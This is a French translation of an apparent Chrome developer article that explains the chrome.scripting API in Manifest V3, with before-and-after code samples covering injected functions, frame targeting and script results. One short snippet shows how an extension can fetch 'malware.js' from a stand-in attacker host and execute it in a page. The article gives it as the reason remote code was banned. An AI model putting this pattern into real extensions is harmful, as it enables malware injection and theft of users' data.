Manifest V3 introduit un certain nombre de modifications dans la plate-forme d'extensions de Chrome. Dans cet article, nous allons explorer les motivations et les modifications apportées par l'une des modifications les plus notables: l'introduction de l'API chrome.scripting
.
Qu'est-ce que chrome.scripting ?
Comme son nom l'indique, chrome.scripting
est un nouvel espace de noms introduit dans Manifest V3, responsable des fonctionnalités d'injection de script et de style.
Les développeurs qui ont déjà créé des extensions Chrome peuvent être familiarisés avec les méthodes Manifest V2 de l'API Tabs, comme chrome.tabs.executeScript
et chrome.tabs.insertCSS
. Ces méthodes permettent aux extensions d'injecter des scripts et des feuilles de style dans les pages, respectivement. Dans Manifest V3, ces fonctionnalités ont été déplacées vers chrome.scripting
et nous prévoyons d'étendre cette API à de nouvelles fonctionnalités à l'avenir.
Pourquoi créer une API ?
Avec un tel changement, l'une des premières questions qui revient souvent est : « pourquoi ? »
Plusieurs facteurs ont conduit l'équipe Chrome à décider d'introduire un nouvel espace de noms pour les scripts.
Tout d'abord, l'API Tabs est une sorte de tiroir indésirable pour les fonctionnalités. Ensuite, nous avons dû apporter des modifications destructives à l'API executeScript
existante. Troisièmement, nous savions que nous souhaitions étendre les fonctionnalités de script pour les extensions. Ensemble, ces préoccupations ont clairement défini la nécessité d'un nouvel espace de noms pour héberger les fonctionnalités de script.
Le tiroir à tout-venant
L'un des problèmes qui préoccupe l'équipe des extensions ces dernières années est la surcharge de l'API chrome.tabs
. Lorsque cette API a été introduite pour la première fois, la plupart des fonctionnalités qu'elle proposait étaient liées au concept général d'un onglet de navigateur. Même à l'époque, il s'agissait d'une collection
de fonctionnalités et, au fil des ans, cette collection n'a fait que s'agrandir.
Au moment du lancement de Manifest V3, l'API Tabs s'était développée pour couvrir la gestion de base des onglets, la gestion de la sélection, l'organisation des fenêtres, la messagerie, le contrôle du zoom, la navigation de base, l'écriture de scripts et quelques autres fonctionnalités moins importantes. Bien que tous ces paramètres soient importants, cela peut être un peu ardu pour les développeurs qui débutent et pour l'équipe Chrome, car nous gérons la plate-forme et prenons en compte les demandes de la communauté des développeurs.
Autre facteur de complication : l'autorisation tabs
n'est pas bien comprise. Alors que de nombreuses autres autorisations limitent l'accès à une API donnée (par exemple, storage
), cette autorisation est un peu inhabituelle en ce sens qu'elle n'accorde à l'extension que l'accès aux propriétés sensibles sur les instances d'onglets (et par extension, elle affecte également l'API Windows). De manière compréhensible, de nombreux développeurs d'extensions pensent à tort qu'ils ont besoin de cette autorisation pour accéder aux méthodes de l'API Tabs, comme chrome.tabs.create
ou, plus précisément, chrome.tabs.executeScript
. La suppression de certaines fonctionnalités de l'API Tabs permet de clarifier cette confusion.
Modifications importantes
Lors de la conception de Manifest V3, l'un des principaux problèmes que nous voulions résoudre était l'utilisation abusive et les logiciels malveillants activés par le "code hébergé à distance", c'est-à-dire le code exécuté, mais non inclus dans le package d'extension. Il est courant que les auteurs d'extensions abusives exécutent des scripts récupérés à partir de serveurs distants pour voler des données utilisateur, injecter des logiciels malveillants et échapper à la détection. Bien que les bons acteurs utilisent également cette capacité, nous avons finalement estimé qu'il était tout simplement trop dangereux de rester tel quel.
Il existe plusieurs façons pour les extensions d'exécuter du code dégroupé, mais la méthode qui s'applique ici est la méthode chrome.tabs.executeScript
Manifest V2. Cette méthode permet à une extension d'exécuter une chaîne de code arbitraire dans un onglet cible. Cela signifie qu'un développeur malveillant peut récupérer un script arbitraire à partir d'un serveur distant et l'exécuter sur n'importe quelle page à laquelle l'extension peut accéder. Nous savions que si nous voulions résoudre le problème de code à distance, nous devions abandonner cette fonctionnalité.
(async function() {
let result = await fetch('https://evil.example.com/malware.js');
let script = await result.text();
chrome.tabs.executeScript({
code: script,
});
})();
Nous souhaitions également corriger d'autres problèmes plus subtils liés à la conception de la version Manifest V2, et faire de l'API un outil plus soigné et prévisible.
Bien que nous aurions pu modifier la signature de cette méthode dans l'API Tabs, nous avons estimé qu'entre ces modifications destructives et l'introduction de nouvelles fonctionnalités (abordées dans la section suivante), une rupture nette serait plus facile pour tout le monde.
Élargir les fonctionnalités de script
Le processus de conception de Manifest V3 a également été motivé par la volonté d'introduire des fonctionnalités de script supplémentaires sur la plate-forme d'extensions de Chrome. Plus précisément, nous voulions ajouter la prise en charge des scripts de contenu dynamique et étendre les fonctionnalités de la méthode executeScript
.
La prise en charge des scripts de contenu dynamiques est une fonctionnalité demandée depuis longtemps dans Chromium. Aujourd'hui, les extensions Chrome Manifest V2 et V3 ne peuvent déclarer de manière statique que des scripts de contenu dans leur fichier manifest.json
. La plate-forme ne permet pas d'enregistrer de nouveaux scripts de contenu, de modifier l'enregistrement de scripts de contenu ni de les désenregistrer au moment de l'exécution.
Bien que nous sachions que nous voulions répondre à cette demande de fonctionnalité dans Manifest V3, aucune de nos API existantes ne nous semblait être la bonne adresse. Nous avons également envisagé de nous aligner sur Firefox pour l'API Content Scripts, mais nous avons très tôt identifié deux inconvénients majeurs de cette approche.
Tout d'abord, nous savions que nous aurions des signatures incompatibles (par exemple, l'abandon de la prise en charge de la propriété code
). Deuxièmement, notre API présentait un ensemble différent de contraintes de conception (par exemple, la nécessité d'un enregistrement pour persister au-delà de la durée de vie d'un service worker). Enfin, cet espace de noms nous limiterait également à la fonctionnalité de script de contenu, alors que nous envisageons les scripts dans les extensions de manière plus large.
Concernant executeScript
, nous souhaitions également étendre les fonctionnalités de cette API au-delà de ce que la version de l'API Tabs prenait en charge. Plus précisément, nous voulions prendre en charge les fonctions et les arguments, cibler plus facilement des frames spécifiques et cibler des contextes autres que des tabulations.
À l'avenir, nous réfléchissons également à la façon dont les extensions peuvent interagir avec les PWA installées et d'autres contextes qui ne correspondent pas conceptuellement aux "onglets".
Changements entre tab.executeScript et scripting.executeScript
Dans la suite de cet article, j'aimerais examiner de plus près les similitudes et les différences entre chrome.tabs.executeScript
et chrome.scripting.executeScript
.
Injecter une fonction avec des arguments
En réfléchissant à la façon dont la plate-forme devait évoluer en fonction des restrictions de code hébergé à distance, nous avons voulu trouver un équilibre entre la puissance brute de l'exécution de code arbitraire et l'autorisation de scripts de contenu statiques uniquement. La solution que nous avons trouvée a consisté à autoriser les extensions à injecter une fonction en tant que script de contenu et à transmettre un tableau de valeurs en tant qu'arguments.
Prenons un exemple (trop simplifié). Supposons que nous souhaitions injecter un script qui salue l'utilisateur par son nom lorsqu'il clique sur le bouton d'action de l'extension (icône dans la barre d'outils). Dans le fichier manifeste V2, nous pouvions construire dynamiquement une chaîne de code et exécuter ce script dans la page actuelle.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/greet-user.js');
let userScript = await userReq.text();
chrome.tabs.executeScript({
// userScript == 'alert("Hello, <GIVEN_NAME>!")'
code: userScript,
});
});
Bien que les extensions Manifest V3 ne puissent pas utiliser de code qui ne soit pas groupé avec l'extension, notre objectif était de préserver une partie du dynamisme que les blocs de code arbitraires permettaient aux extensions Manifest V2. L'approche des fonctions et des arguments permet aux examinateurs du Chrome Web Store, aux utilisateurs et aux autres personnes concernées d'évaluer plus précisément les risques qu'une extension présente, tout en permettant aux développeurs de modifier le comportement d'exécution d'une extension en fonction des paramètres utilisateur ou de l'état de l'application.
// Manifest V3 extension
function greetUser(name) {
alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/user-data.json');
let user = await userReq.json();
let givenName = user.givenName || '<GIVEN_NAME>';
chrome.scripting.executeScript({
target: {tabId: tab.id},
func: greetUser,
args: [givenName],
});
});
Frames de ciblage
Nous souhaitions également améliorer la façon dont les développeurs interagissent avec les cadres dans la nouvelle API. La version Manifest V2 de executeScript
permettait aux développeurs de cibler tous les frames d'un onglet ou un frame spécifique de l'onglet. Vous pouvez utiliser chrome.webNavigation.getAllFrames
pour obtenir la liste de tous les cadres d'un onglet.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.tabs.executeScript(tab.id, {
frameId: frame1,
file: 'content-script.js',
});
chrome.tabs.executeScript(tab.id, {
frameId: frame2,
file: 'content-script.js',
});
});
});
Dans le fichier manifeste V3, nous avons remplacé la propriété entière frameId
facultative dans l'objet d'options par un tableau d'entiers frameIds
facultatif. Cela permet aux développeurs de cibler plusieurs cadres dans un seul appel d'API.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.scripting.executeScript({
target: {
tabId: tab.id,
frameIds: [frame1, frame2],
},
files: ['content-script.js'],
});
});
Résultats de l'injection de script
Nous avons également amélioré la façon dont nous renvoyons les résultats d'injection de script dans Manifest V3. Un « résultat » est essentiellement
l’instruction finale évaluée dans un script. Considérez-la comme la valeur renvoyée lorsque vous appelez eval()
ou exécutez un bloc de code dans la console des outils pour les développeurs Chrome, mais sérialisée afin de transmettre les résultats entre les processus.
Dans le fichier manifeste V2, executeScript
et insertCSS
renvoyaient un tableau de résultats d'exécution simples.
Ce n'est pas un problème si vous n'avez qu'un seul point d'injection, mais l'ordre des résultats n'est pas garanti lors de l'injection dans plusieurs frames. Il n'y a donc aucun moyen de savoir quel résultat est associé à quelle image.
Pour un exemple concret, examinons les tableaux results
renvoyés par une version Manifest V2 et une version Manifest V3 de la même extension. Les deux versions de l'extension injectent le même script de contenu et nous allons comparer les résultats sur la même page de démonstration.
// content-script.js
var headers = document.querySelectorAll('p');
headers.length;
Lorsque nous exécutons la version Manifest V2, nous obtenons un tableau de [1, 0, 5]
. Quel résultat correspond au frame principal et lequel est pour l'iFrame ? La valeur renvoyée ne nous indique pas cela, nous ne le savons donc pas avec certitude.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.tabs.executeScript({
allFrames: true,
file: 'content-script.js',
}, (results) => {
// results == [1, 0, 5]
for (let result of results) {
if (result > 0) {
// Do something with the frame... which one was it?
}
}
});
});
Dans la version Manifest V3, results
contient désormais un tableau d'objets de résultat au lieu d'un tableau contenant uniquement les résultats de l'évaluation, et les objets de résultat identifient clairement l'ID de la trame pour chaque résultat. Les développeurs peuvent ainsi utiliser le résultat et prendre des mesures sur un frame spécifique beaucoup plus facilement.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let results = await chrome.scripting.executeScript({
target: {tabId: tab.id, allFrames: true},
files: ['content-script.js'],
});
// results == [
// {frameId: 0, result: 1},
// {frameId: 1235, result: 5},
// {frameId: 1234, result: 0}
// ]
for (let result of results) {
if (result.result > 0) {
console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
// Found 1 p tag(s) in frame 0
// Found 5 p tag(s) in frame 1235
}
}
});
Conclusion
Les mises à jour de version du fichier manifeste constituent une occasion rare de repenser et de moderniser les API des extensions. Notre objectif avec Manifest V3 est d'améliorer l'expérience utilisateur finale en rendant les extensions plus sûres, tout en améliorant l'expérience des développeurs. En introduisant chrome.scripting
dans Manifest V3, nous avons pu contribuer à nettoyer l'API Tabs, à repenser executeScript
pour une plate-forme d'extensions plus sécurisée et à jeter les bases de nouvelles fonctionnalités de script qui seront disponibles plus tard cette année.